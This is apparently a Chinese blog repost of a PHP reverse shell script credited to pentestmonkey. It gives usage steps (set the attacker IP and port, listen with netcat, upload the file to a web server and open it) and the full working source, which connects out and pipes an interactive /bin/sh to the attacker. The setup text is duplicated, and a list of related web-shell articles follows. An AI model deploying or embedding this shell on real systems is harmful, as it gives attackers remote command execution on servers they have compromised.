php-reverse-shell
2015-02-10 18:40
1141 查看
功能:
返回一个交互式的shell
使用:
先修改脚本中的两个变量 $ip 和 $port 为自己所需的。然后本地监听 $port 。例如:
$ip = '192.168.1.111'; // CHANGE THIS
$port = 13123; // CHANGE THIS
nc -v -l -p 13123
然后上传并在浏览器中打开该PHP脚本文件。
效果图:
源代码(在原文的基础进行了修改):
原文:http://pentestmonkey.net/tools/web-shells/php-reverse-shell
返回一个交互式的shell
使用:
先修改脚本中的两个变量 $ip 和 $port 为自己所需的。然后本地监听 $port 。例如:
$ip = '192.168.1.111'; // CHANGE THIS
$port = 13123; // CHANGE THIS
nc -v -l -p 13123
然后上传并在浏览器中打开该PHP脚本文件。
效果图:
源代码(在原文的基础进行了修改):
<?php set_time_limit (0); $ip = "192.168.1.111"; $port = "13123"; $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) exit("$errstr ($errno)"); if(function_exists('proc_open')){ $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open("id;/bin/sh -i", $descriptorspec, $pipes); if (!is_resource($process)) exit("ERROR: Can't reverse shell"); stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); print("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { print("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { print("ERROR: Shell process terminated"); break; } $input = fread($sock, 1024); fwrite($pipes[0], $input); $output = fread($pipes[1], 1024); fwrite($sock, $output); $output = fread($pipes[2], 1024); fwrite($sock, $output); } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); } else print "function 'proc_open' is not exists."; ?>
原文:http://pentestmonkey.net/tools/web-shells/php-reverse-shell
相关文章推荐
- PHP Backdoor + Reverse Shell on Vulnerable Website
- Php reverse shell with netcat
- php-reverse-shell
- php escapeshellcmd多字节编码漏洞解析及延伸
- 将PHP作为Shell脚本语言使用
- php escapeshellcmd多字节编码漏洞解析及延伸
- priv3安全团队的一款PHPSHELL(源代码)
- 将PHP作为Shell脚本语言使用
- PHP Shell的编写(改进版)
- PHP shell 脚本(以脚本方式执行php)
- php反弹shell实现代码
- 将PHP作为Shell脚本语言使用
- 在 PHP 中使用命令行工具 在 Web 应用程序中运行 shell 命令
- Reverse Shell with Bash
- 用 PHP 作为 Shell 脚本语言
- php escapeshellcmd多字节编码漏洞解析及延伸
- APACHE+MYSQL+PHP FOR LINUX INSTALL SHELL
- reverse shellcode调试问题问答
- 渗透前期快速拿shell的捷径/Ewebeditor/ASP/ASPX/PHP各版本漏洞
- Using PHP As A Shell Scripting Language